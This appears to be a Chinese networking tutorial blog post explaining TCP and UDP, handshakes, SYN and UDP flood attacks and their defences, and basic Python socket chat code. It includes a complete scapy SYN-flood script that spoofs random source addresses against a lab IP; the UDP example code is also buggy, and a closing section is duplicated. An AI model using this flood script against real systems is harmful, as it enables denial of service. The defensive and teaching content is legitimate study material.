1.从零认识 TCP、UDP 协议到完成 DOS脚本攻击

声明:

这个系列的文章是很久以前写的了,保存再本地怕丢失了。文章里面有些图片转存失败,我也没有进行更正修改,因为图片实在是太多了。如果有要PDF带图的师傅,可以加我要PDF版本。(Q:1056391561)

TCP、UDP协议到完成SYN—flood脚本攻击再到实现简易通讯

前言:看了网络上大部分文章,都不是很好理解,因此自己写下这篇文章,帮助后面的学习者更好理解。这里我将用通俗易懂的话语对TCP、UDP、协议漏洞、SYN攻击、简易攻击脚本五个模块做一个阐述

TCP/IP:

什么是TCP/IP协议

TCP/IP协议不是单独的指TCP和IP这两个协议,他是一个协议族,包括:FTPSMTP、TCP等等协议,知识TCP协议和IP协议最有代表性,所以就拿出来代表了

TCP和IP是如何协同工作的:

IP协议只负责传递线路:在相互连接的网络之间传递IP数据报。起始地址到目标地址

TCP:运输发放数据包,并且解决数据包丢失等问题

我们先来看两张图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qFfTAOO7-1627625660857)(C:\Users\HP\Desktop\v2-b336a50e1d671a5ef82f532c492474fe_r.jpg)]

这里我们初次学习,先理解标记的内容:源IP地址,目的IP地址,源端口号,目的端口号。

  • 源IP地址:我们的起点(寄快递的时候,我们寄出的地址:四川省成都市xx区xx街道)

  • 目的IP地址:我们的终点(我们要寄到哪里去:四川省绵阳市xx区xx街道)

但是我们‘寄快递’如果就这么简略,我们的快递真的能够寄到别人手中吗?因此就要引入接下来的端口号

  • 源端口号:我们是从主机哪个端口开始(我们寄件地址是:四川省成都市xx区xx街道172号)

  • 目的端口号:要发送到对面主机的哪个端口去(我们寄件地址是:四川省绵阳市xx区xx街道169号)

怎么样去理解这个端口号呢?:

  • 一个服务器上面会开启很多服务,如果我们都争先的去抢占这个主机整体,那是不是就会出问题。所以要有专人专办出现:哪个端口是哪个服务,我们要启用这个服务,就去找个服务端口,而不是直接找服务器通过上面的IP协议我们规划好了传输线路(我们的快递起始点和终点位置也确定好了)就可以交互信息(就可以开始运快递了)

既然这里讲到了这些,我们平时生活中大家都有寄错快递的时候对吧,那加入我们的IP端口这里出错了会怎么样呢?

  • 第一:传输线路都出错了,那么我们这次传送的信息肯定会丢,简称丢包了,不见了。

  • 第二:我们得不到想要的交互信息(卖家寄错地址,买家收不到货,就不能点 确认收货,而真正收到货的人呢,又无法处理这个货)等等问题

那么为了避免出现上面的等等问题,我们就需要我们的TCP协议去‘检查处理’,下面将讲述TCP协议

TCP协议详讲:

先看看TCP数据报头结构:

名词解释:

●源端口、目的端口:16位长。标识出远端和本地的端口号。
●顺序号:32位长。表明了发送的数据报的顺序。
●确认号:32位长。希望收到的下一个数据报的序列号。
●TCP头长:4位长。表明TCP头中包含多少个32位字。
接下来的6位未用。
●URG:报文携带了紧急数据,urgent offset有效。
●ACK:ACK位置1表明确认号是合法的。如果ACK为0,那么数据报不包含确认信息,确认字段被省略。
●PSH:表示是带有PUSH标志的数据。接收方因此请求数据报一到便可送往应用程序而不必等到缓冲区装满时才传送。
●RST:用于复位由于主机崩溃或其它原因而出现的错误的连接。还可以用于拒绝非法的数据报或拒绝连接请求。
●SYN:用于建立连接。
●FIN:用于释放连接。

●窗口大小:16位长。窗口大小字段表示在确认了字节之后还可以发送多少个字节。
●校验和:16位长。是为了确保高可靠性而设置的。它校验头部、数据和伪TCP头部之和。
●可选项:0个或多个32位字。包括最大TCP载荷,窗口比例、选择重发数据报等选项。

TCP三次握手

在这里插入图片描述

三次握手是怎么握手的?现在如下有A主机和B主机

  • 第一次握手A主机要对B主机说:我要连接你,我想要建立一个通讯,那么A会给B发送一个SYN=1标记的包

问:为什么这里SYN=1

答:一个 SYN包就是仅SYN标记设为1的TCP包 ,用于建立连接

  • 第二次握手B收到了A给他的请求,A收到后会发一个对SYN包的确认包(SYN/ACK)回去,表示对第一个SYN包的确认,并继续握手操作.

注意: SYN/ACK包是仅SYN 和 ACK 标记为1的包.

  • 第三次握手:A对B发请求:A收到SYN/ACK 包,A发一个确认包(ACK),通知B连接已建立。至此,三次握手完成,一个TCP连接完成

Note: ACK包就是仅ACK 标记设为1的TCP包.

需要注意的是当三此握手完成、连接建立以后,TCP连接的每个包都会设置ACK位

  • 握手阶段还会发生什么?:

    序号 方向 seq ack
    1    A->B 10000 0
    2 B->A 20000 10000+1=10001
    3 A->B 10001 20000+1=20001
    解释:
    1:A向B发起连接请求,以一个随机数初始化A的seq,这里假设为10000,此时ACK=0(seq表示我方数据流从这个数开始,B你接收的时候注意一下)

    2:B收到A的连接请求后,也以一个随机数初始化B的seq,这里假设为20000,意思是:你的请求我已收到,我这方的数据流就从这个数开始。B的ACK是A的seq加1,即10000+1=10001

    3:A收到B的回复后,它的seq是它的上个请求的seq加1,即10000+1=10001,意思也是:你的回复我收到了,我这方的数据流就从这个数开始。A此时的ACK是B的seq加1,即20000+1=20001

简述三次握手:我告诉你我要和你建立通信后–>你告诉我可以和你建立通信–>我告诉你:我们通信建立好了

通信建立好,开始传输数据:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9PRzAsYN-1627625660863)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419222052704.png)]

  • 名词解释:

SEQ:我随即生成一个数,表述我方的数据流从这里开始

ACK:确认号,是期望收到对方的下一个报文段的数据的第一个字节的seq序号;只有ACK标志位为1时,确认序号字段才有效。每次都要加一,ACK计算方法:ACK=SEQ+1+DATA,表示下一次数据流应该从A的1301开始传递

  • 解释上述过程之一:A的SEQ从1200开始,每次传送100byte tata,B收到了数据,并且返回ACK值:1200+1+100,提示下次A从我这里传输应该是1301数据流开始(这样应该是为了避免出错或者一次性发包过多,顺序错误无法处理)

问:为什么要传这么多次数据:

答:我们的一次性传进去可能会字节会很大,所以分成很多小的数据流传进去,可能是为了减轻压力吧

问:TCP怎么检测出错误呢?

答:以下图为例子:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vdz7lu4r-1627625660864)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419222114252.png)]

如果在传输过程中,中间发生了错误,数据包丢失了,那么我们B主机无法对包做出响应,没有了相应我们就不能收到指示发送下一个数据流,因此就会停滞不前,于是就有了响应时间出现,当响应时间过长,就被认为丢包了,就会重新发包。

TCP四次分手:

先简单讲述一下这四次分手:

第一次分手A->B:客户端发送请求,告诉服务端我不传输数据了,我要关闭了

第二次分手B-A:服务端返回数据,表示自己收到这个关闭连接的请求了,进入等待关闭等待阶段

第三次分手B->A:服务端做好了释放服务端连接的准备,给A发数据说,我已经做好了关闭准备

第四次分手A->B:收到报文,向B发送报文,双方断开连接

这四次连接里面有很多东西,我们来详细看一看:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2GxF8mzx-1627625660866)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419222126018.png)]

  • 第一次:A发送断开连接的报文:FIN表示请求断开

数据传输完毕,客户端想要释放连接(没有数据需要传输给服务端了),于是向服务端发送一段TCP报文请求释放连接,然后进入终止等待状态一。并且停止在客户端到服务端方向上发送数据,但是客户端仍然能接收从服务端传输过来的数据。FIN=1 表示请求释放连接, u为随机生成的起始报文段序号(FIN=1,seq=u)

  • 第二次:B收到报文,给与A一个回复:

服务端收到连接释放报文,立即发出确认报文,表示接收到客户端发送的释放连接的请求,并进入关闭等待状态。(ACK=1,seq=v,ack=u+1)

问:什么是关闭等待状态:

答:关闭等待状态就是,已经接收到了关闭的通知了,但是我这还有上次的数据没有处理完,我还要继续处理。我们把这个状态成为关闭等待状态

  • 第三次:B处理完数据了,于是给A发送报文:我好了,我们可以关闭了,进入最后的确认状态。

服务端自从发出ACK确认报文之后,经过了关闭等待阶段,做好了释放服务器端到客户端方向上的连接准备,再次向客户端发出一段TCP报文表示已经准备好释放连接了(没有数据需要传输给客户端了),然后进入最后确认状态。(FIN=1,ACK=1,seq=w,ack=u+1)

  • 第四次:客户端收到从服务器端发出的TCP报文,确认了服务器端已做好释放连接的准备,于是再次向服务端发送报文表示接收到服务端准备好释放连接的信号,并进入TIME-WAIT阶段等待2MSL ( 最大报文生存时间) 后再断开连接,服务端收到最终确认报文后立即断开连接,双方断开TCP连接。(ACK=1,seq=u+1,ack=w+1)

问:为什么客户端在TIME-WAIT阶段要等2MSL?

主要目的是确认服务器端是否收到客户端发出的最终ACK确认报文。
当客户端发出最后的ACK确认报文时,并不能确定服务器端能够收到该段报文。所以客户端在发送完ACK确认报文之后,会设置一个时长为2MSL的计时器。MSL指的是:一段TCP报文在传输过程中的最大生命周期。2MSL即是一个发送和一个回复所需的最大时间。

服务端如果在1MSL内没有收到客户端发出的最终ACK确认报文(说明最终确认报文丢失了),就会再次向客户端发出FIN报文。

如果客户端在2MSL内,再次收到了来自服务器端的FIN报文,说明服务器端由于各种原因没有接收到客户端发出的ACK确认报文。客户端再次向服务器端发出ACK确认报文,计时器重置,重新开始2MSL的计时。

所以,客户端要经历时长为2MSLL的TIME-WAIT阶段;这也是为什么客户端比服务器端晚进入CLOSED阶段的原因。

总的来说四次分手:

客户端提出分手–>服务端收到报文你,返回报文告诉客户端收到请求,在自己处理完手上数据后就会断开,进入关闭等待阶段–>服务端处理好了手上数据,发送报文告诉客户端可以关闭,进入最后确认状态–>客户端收到服务端发来的关闭信息,再次发送关闭报文断开连接,服务端收到后立即断开连接

  • 什么是2MSL:

    MSL指的是:一段TCP报文在传输过程中的最大生命周期。2MSL即是一个发送和一个回复所需的最大时间。

  • 我们来仔细理解一下这个2MSL阶段:

    确保我们第四次发出的ACK关闭信息服务端收到了,假如服务端收到了,那么在2MLS内,我们客户端不会再收到任何报文,然后等时间过了就关闭。但是如果我们的服务端没有收到我们的ACK确认信息呢?那么他就会觉得第三次分手的包,客户端没有接受到,就会再次发送FIN包给客户端,那么这个时候客户端再次接收到第三次分手的FIN报文,就会认为自己第四次分手的报文丢失了,就会重复再次发送第四次分手报文。写到这里,我们看 客户端发给我,我们再发给客户端,一次发送一次回复,我们要保证这个阶段不会关闭,所以时间设置的是2MLS,即最大发送、回复时间,很巧妙。我们继续说,当客户端确认了 第四次分手丢失了,就会充值2MLS的时间,保证下一次也同样不会出现丢失的情况,至此,关闭连接。

TCP协议缺陷导致存在SYN攻击(简述攻击,未做细讲):

什么是SYN攻击:

SYN攻击属于DOS攻击的一种,主要目的是:占用服务器资源,引起网络堵塞甚至是瘫痪

TCP协议哪里的缺陷导致:

我们来看三次握手:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ddVwRXrS-1627625660867)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419222204671.png)]

​ 1.客户端发送SYN给服务端

​ 2.服务端收到SYN请求然后返回SYN+ACK

​ 3.客户端确认请求发送ACK,连接建立完成

建立连接一共就3个阶段,我们一个一个阶段来分析到底是哪里出现了问题

  • 第一个阶段 :我们发送SYN给服务端,这里能出现漏洞嘛?难道我们一直发送请求去请求这个页面?这个攻击其实也存在,但是要求就是你有很多大宽带肉鸡,然后去访问。我们不也是经常出现:抢课的时候,网站刷新不出来的情况吗,所以这里应该也是存在的,但是解决方法就是增大自己服务器配置了把,谈不上攻击把。

  • 第二个阶段:我们发送了SYN给服务端,然后服务端会返回SYN+ACK给我们

  • 第三个阶段:我们返回ACK确定要连接,如果客户端此时不进行第三次握手,那么服务端就会认为自己的包丢失了,就会重复发包,一直到TIMEOUT。那么我们思考一下,要实现这个TIMEOUT有什么方法?那就是服务端包确实是给客户端发包了,但是我们不做出回应。那么此时此刻就会占用服务端资源,给不存在的东西发包不断。那么如果我们伪造IP源,一直不停的发送SYN?那么是不是就占用了服务端端口资源,因为资源有限而且要一直处理这些客户端发送的SYN请求,因此就会造成网站瘫痪

如何进行SYN-Flood防御:
  • cookie源认证:原理是syn报文首先由DDOS防护系统来响应syn_ack。带上特定的sequence number (记为cookie)。真实的客户端会返回一个ack 并且Acknowledgment number 为cookie+1。 而伪造的客户端,将不会作出响应。这样我们就可以知道那些IP对应的客户端是真实的,将真实客户端IP加入白名单。下次访问直接通过,而其他伪造的syn报文就被拦截。下面为防护示意图:
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pIGNMSWA-1627625660868)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419222235567.png)]

  • reset认证:

Reset认证利用的是TCP协议的可靠性,也是首先由DDOS防护系统来响应syn。防护设备收到syn后响应syn_ack,将Acknowledgement number (确认号)设为特定值(记为cookie)。当真实客户端收到这个报文时,发现确认号不正确,将发送reset报文,并且sequence number 为cookie + 1。 而伪造的源,将不会有任何回应。这样我们就可以将真实的客户端IP加入白名单。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1DWsvPzi-1627625660869)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419222252754.png)]

  • TCP首保丢弃:该算法利用了TCP/IP协议的重传特性,来自某个源IP的第一个syn包到达时被直接丢弃并记录状态(五元组),在该源IP的第2个syn包到达时进行验证,然后放行。

当防御设备接到一个IP地址的SYN报文后:

1.接受到syn报文 -> 简单比对该IP是否存在于白名单中: 存在则转发到后端,否则进行第2步
2.不存在于白名单中 -> 检查是否是该IP在一定时间段内的首次SYN报文: 不是则进行第3步,是则进行第4步
3.不是首次SYN报文 -> 检查是否重传报文: 是重传则转发并加入白名单,不是则丢弃并加入黑名单
4.是首次SYN报文 -> 丢弃并等待一段时间以试图接受该IP的SYN重传报文,等待超时则判定为攻击报文加入黑名单

对防御方式的一些理解:

下面说说我自己的看法:首先我们来看cookie和reset认证:都是判断我们的客户端是否重复请求,而且都是再第三次握手的时候,检查cookie 或者是RST是否符合要求,符合要求才能连接,不符合就舍弃,这里抛出我自己题出的疑问:

我们要防范的是第三次握手,客户端不给回应导致的资源消耗,而不是判断是否让这个客户端连接我们,所以这两种防御方式是不是有点问题?

再来看看第三种:先发包,然后丢弃,等待第二次SYN发送,如果发送了,这个时候再把SYN包返回给服务端,完成第一次握手。我们通过伪造大量ip然后去发SYN包,如果再时间限定内没有第二次发送SYN那么这个IP就会被ban掉,个人感觉还是很好的进行了防范

UDP协议概述:

UDP协议自己在网上看了很多文章,学习的时候发现这些文章大多只是讲述UDP数据包的组成和一些特点,更多的是对组成部分的解释,因为不需要建立连接,所以UDP协议相对于TCP协议来说,没那么复杂,同时安全性也没有那么高

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dojmlbql-1627625660870)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419222307988.png)]

udp数据包是封装在IP数据报里面的

UDP数据报名词解释:

1.源端口: 源端口号,需要对方回信时选用,不需要时全部置0.
2.目的端口:目的端口号,在终点交付报文的时候需要用到。
3.长度:UDP的数据报的长度(包括首部和数据)其最小值为8(只有首部)
4.校验和:检测UDP数据报在传输中是否有错,有错则丢弃。

UDP校验:

在计算校验和的时候,需要在UDP数据报之前增加12字节的伪首部,伪首部并不是UDP真正的首部。只是在计算校验和,临时添加在UDP数据报的前面,得到一个临时的UDP数据报。校验和就是按照这个临时的UDP数据报计算的。伪首部既不向下传送也不向上递交,而仅仅是为了计算校验和。这样的校验和,既检查了UDP数据报,又对IP数据报的源IP地址和目的IP地址进行了检验

UDP洪流攻击:

UDP和SYN一样,都是通过以消耗服务端资源造成堵塞甚至瘫痪从而达到攻击目的

UDP攻击原理:

当攻击者随机地向受害系统的端口发送UDP数据包的时候,就可能发生了UDP 淹没攻击。当受害系统接收到一个UDP数据包的时候,它会确定目的端口正在等待中的应用程序。当它发现该端口中并不存在正在等待的应用程序,它就会产生一个目的地址无法连接的ICMP数据包发送给该伪造的源地址。如果向受害者计算机端口发送了足够多的UDP数据包的时候,整个系统就会瘫痪。

简单来说:就是因为服务端也会对我们的信息进行处理回复,当需求太大时候,一时会造成网络堵塞,比较简单

UDP TCP协议特点:

UDP的特点:

UDP就很显而易见:

  • 因为没有进行连接,而是直接传输数据,并且对传输过程是否丢包等错误校验也很少,所以可靠性不高

  • 但是也正因为不用建立连接,所以资源耗费少

  • 同时也不存在需要等待服务端进程等问题。常见的UDP协议发送信息就是:腾讯QQ、微信,我们发送信息都是用这个协议来发送的

  • UDP传输的数据是无序的,是不经过排列的,按照接受顺序来(这也就是为什么我们在网络差的时候,按照先后顺序同时发送了A B C三条信息,但是对方显示的顺序是B A C等,就是因为这个原因)

TCP的特点:

  • 通过三次握手建立连接,交付数据可靠性更高
  • 因为要建立连接以及涉及多次交互信息,所以会消耗一定资源
  • 因为存在资源消耗,所以当资源消耗过大的时候,连接缓慢,严重会导致瘫痪,所以一定条件下会存在堵塞

TCP UDP攻击的个人理解:

这两种协议之所以存在攻击,就是因为存在服务端资源消耗,所以找到服务器是在什么时候存在消耗的就可以造成攻击,目前也有很多防范的方法,有些方法比如说设置重发时间等等这种,只能减轻攻击带来的一些强度,不能解决实际的问题,再比如说如果采用TCP首保丢弃,的确对于防范攻击很有效,但是无疑也造成了用户体验不佳,体验什么都要点击两次,发送两次请求数据等等。这是目前我对TCP/IP协议存在的攻击的了解。

用PYTHON完成一次简单的SYN攻击:

用到的模块:scapy

下载库方法:CMD运行: pip install scapy

附上脚本:

from scapy.all import *
import random
 
def synFlood():
    for i in range(10000):
        #构造随机的源IP
        src='%i.%i.%i.%i'%(
            random.randint(1,255),
            random.randint(1, 255),
            random.randint(1, 255),
            random.randint(1, 255)
            )
        #构造随机的端口
        sport=random.randint(1024,65535)
        IPlayer=IP(src=src,dst='192.168.37.130')
        TCPlayer=TCP(sport=sport,dport=80,flags="S")
        packet=IPlayer/TCPlayer
        send(packet)
 
if __name__ == '__main__':
    synFlood()

这里貌似看不明白,不着急,往下看:

第一步 :调用模块

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jiccLLYM-1627625660872)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419215046178.png)]

第二步:看ip()的属性

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jBMJGzPo-1627625660873)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419215137184.png)]

我们可以很清楚的看见前面给的脚本里面的部分参数:

src:SourceIPField // ip源 可以理解成 发SYN的客户端ip地址

dst:DestIPField//目的的IP

好了 有了这些了解,上述代码我们可以完全理解到这一步了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kl2rkp3f-1627625660874)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419215410485.png)]

第三步:看TCP()含有的属性

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wMocQC06-1627625660875)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419215607023.png)]

sprot:ShortEnumField // 源端口

dport:ShortEnumField// 目标端口

第四步:理解发送数据包的函数**send()*和*sendp()

这两个函数的区别在于send()工作在第三层,而sendp()工作在第二层。简单地说,send()是用来发送IP数据包的,而sendp()是用来发送Ether数据包的。
例如,构造一个目的地址为“192.168.1.107”的ICMP数据包,并将其发送出去,可以使用如下语句。

send(IP(dst="192.168.1.107")/ICMP())

如果是构造一个目的地址为‘192.168.1.107’的TCP数据包,语句则如下:

send(IP(dst="192.168.1.107")/TCP())

到此为止,上述简单的SYN脚本攻击代码就可以完全理解了

然后我们运行一下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jD01v5d6-1627625660876)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210419221209317.png)]

但是自己再实操的时候遇到一个问题:当我对一个端口持续发包之后,我自己也是打不开浏览器的,必须等待2分钟左右。后面我会去研究一下到底是怎么回事

发包完毕

用python实现TCP、UDP通讯:

很多语言都有socket模块,C、python、java等都可以实现,在这里我们使用python语言:

socket模块介绍:

1.socket模块

要使用socket.socket()函数来创建套接字。其语法如下:

socket.socket(socket_family,socket_type,protocol=0)

socket_family可以是如下参数:

socket.AF_INET IPv4(默认)

socket.AF_INET6 IPv6

socket.AF_UNIX 只能够用于单一的Unix系统进程间通信

socket_type可以是如下参数:

socket.SOCK_STREAM:流式socket , for TCP (默认)

socket.SOCK_DGRAM:数据报式socket , for UDP

socket.SOCK_RAW 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。

socket.SOCK_RDM 是一种可靠的UDP形式,即保证交付数据报但不保证顺序。SOCK_RAM用来提供对原始协议的低级访问,在需要执行某些特殊操作时使用,如发送ICMP报文。SOCK_RAM通常仅限于高级用户或管理员运行的程序使用。

socket.SOCK_SEQPACKET 可靠的连续数据包服务

protocol参数:

0(默认)与特定的地址家族相关的协议,如果是 0 ,则系统就会根据地址格式和套接类别,自动选择一个合适的协议

2.套接字对象内建方法

服务器端套接字函数:

s.bind():绑定地址(ip地址,端口)到套接字,参数必须是元组的格式例如:

s.bind((‘127.0.0.1’,8009))

s.listen(5);开始监听,5为最大挂起的连接数

s.accept():被动接受客户端连接,阻塞,等待连接

客户端套接字函数:

s.connect():连接服务器端,参数必须是元组格式例如:

s.connect((‘127,0.0.1’,8009))

公共用途的套接字函数:

s.recv(1024) :接收TCP数据,1024为一次数据接收的大小

s.send(bytes):发送TCP数据,python3发送数据的格式必须为bytes格式

s.sendall():完整发送数据,内部循环调用send

s.close():关闭套接字

上面是这次实现TCP通讯涉及到的大部分函数,熟悉之后,我们可以看以下代码:

代码实现:

TCP:

服务端:

## 服务端:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket
import time
Max=1024*1024

ser=socket.socket()  
ser.settimeout(60)   #超过60s无响应,就会关闭进程
host='127.0.0.1'
port=11223       #设置服务器ip和端口号(端口号就是监听的端口号)
ser.bind((host,port)) #监听的字节函数,表示开启了某个端口监听
ser.listen(1)    #最大监听数为1,也可以理解为最大连接数
try:
    cli,addr= ser.accept()    #函数:等待连接
    print(addr,'上线了')
    while True :
        data=cli.recv(Max)     #函数:接受信息的最大字节:Max,一般1024
        if not data:
            print('there is nothing ')
            break
        Localtime=time.asctime(time.localtime(time.time()))  #导入一个本地时间
        print(Localtime,'接收到的字节数:',len(data))  #在服务端窗口显示:时间加字节长度
        print(data.decode()) #打印编码后的接受数据
        cli.send(data) #函数:传输data数据到客户端
except BaseException as e:
    print("出现异常:")
    print(repr(e))
finally:
    ser.close()                    # 关闭连接

客户端:

## 客户:
#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket
import time
Max=1024*1024

host='127.0.0.1'
port=11223

client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #开始
client.settimeout(60) #设置连接无响应的时间
client.connect((host,port)) #请求连接
while True:				#如果连接上了
    inputdata=input();   #用户输入信息(因为后面我们是send输入的信息)
    if(inputdata=='quit' ):  #用户终止连接的方式
        print("bye-bye")
        break
    client.send(inputdata.encode()) #把编码后的数据传输获取
    recvdata=client.recv(Max)    #用来接受服务端返回的数据
    if not recvdata:
        break
    localTime=time.asctime(time.localtime(time.time()))
    print(localTime,'接受到的字节数:',len(recvdata))
    print(recvdata.decode())   #设置时间,实时打印收到的数据
client.close()
print('work done')

相信如果看懂了前面模块的介绍,这里的代码就不难理解了吧,下面说说我个人在仿写别人代码的时候,出现的几个问题:

  1. 有些地方不能增加额外的东西,比如你加一个sleep函数,那么就会导致无法成功运行

  2. 我想修改返回的数据,发现不行。我感觉应该是,服务端作为一个中转站,应该是单纯的转发内容吧

  3. 里面的一些自己写的定义可以变,比如:cliend,addr=server.accept() 定义也可以写成:clie,ad=ser.accept,但是要保证全文其他地方的定义一致。

  4. 在传递信息的时候,我们不是说输入什么,传输就会传输什么,我们在输入的信息之后,进入encode进行编码然后才能传输,同样,我们接受数据的时候,接收到的也只是编码后的东西,我们要在自己的客户端编写 data.decode()来转码,就能变成正常的文字了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IkidrR97-1627625660878)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210421125229543.png)]

成功连接,下面发消息看看:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RqVSfwu2-1627625660880)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\image-20210421125333587.png)]

最后退出直接输入:quit就可以,或者等待60s,因为设置了settimeout()

UDP:
## 服务端:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket
import time 

Max=1024*1024
ip='127.0.0.1'
port=11223
ser=socket.socket(type=socket.SOCK_DGRAM) 
ser.bind((ip,port))
while True:
    data,addr=ser.recvfrom(Max)
    localTime=time.asctime(time.localtime(time.time()))
    print(localTime,"收到字节数:",len(data))
    print(data.decode())
    server.sendto(data,addr)

#客户端
#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket
import time 

Max=1024*1024
server= socket.socket(type=socket.SOCK_DGRAM)
server=('127.0.0.1',11223) 
while True:
    msg = input('>>>')
    if msg=='quit':
        break
    client.sendto(msg.encode(), server)
    data, server_addr = client.recvfrom(1024)
    print(data.decode())
server.close()

这里对UDP就不做过多的讲解了,因为UDP和TCP协议差不多,UDP协议甚至更加简单一点,不过值得注意的是:

  • UDP再套字节的时候
server= socket.socket(type=socket.SOCK_DGRAM)

这里typy参数要改一下,表示我们使用的是UDP协议,默认使用TCP协议。

  • UDP协议发送信息到(Ip,port),是在server.sendto里面发送的,因为UDP不需要连接所以我们只需要再发送的时候明确以下就可以了。

最后关于协议通讯:个人觉得最重要的一点就是:一定要自己动手编写,再看了其他人写的代码并且理解之后,一定要自己亲自动手编写2次以上,才能真正掌握这个部分

最后:本报告如若出现了错误,还请师傅们指教,共同学习,一起进步。

参考链接:https://www.cnblogs.com/mrsandstorm/p/5701691.html

https://blog.csdn.net/amoscykl/article/details/80189007

https://blog.csdn.net/CC_Together/article/details/105575364

http://www.elecfans.com/news/wangluo/20171208597842_a.html

https://www.zhihu.com/question/51074319/answer/124733136

https://blog.csdn.net/qq_38684504/article/details/101070766

https://www.cnblogs.com/badbadboyyx/p/11978971.html

的是UDP协议,默认使用TCP协议。

  • UDP协议发送信息到(Ip,port),是在server.sendto里面发送的,因为UDP不需要连接所以我们只需要再发送的时候明确以下就可以了。

最后关于协议通讯:个人觉得最重要的一点就是:一定要自己动手编写,再看了其他人写的代码并且理解之后,一定要自己亲自动手编写2次以上,才能真正掌握这个部分

最后:本报告如若出现了错误,还请师傅们指教,共同学习,一起进步。

参考链接:https://www.cnblogs.com/mrsandstorm/p/5701691.html

https://blog.csdn.net/amoscykl/article/details/80189007

https://blog.csdn.net/CC_Together/article/details/105575364

http://www.elecfans.com/news/wangluo/20171208597842_a.html

https://www.zhihu.com/question/51074319/answer/124733136

https://blog.csdn.net/qq_38684504/article/details/101070766

https://www.cnblogs.com/badbadboyyx/p/11978971.html

https://www.cnblogs.com/wangchunli-blogs/p/9949903.html

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值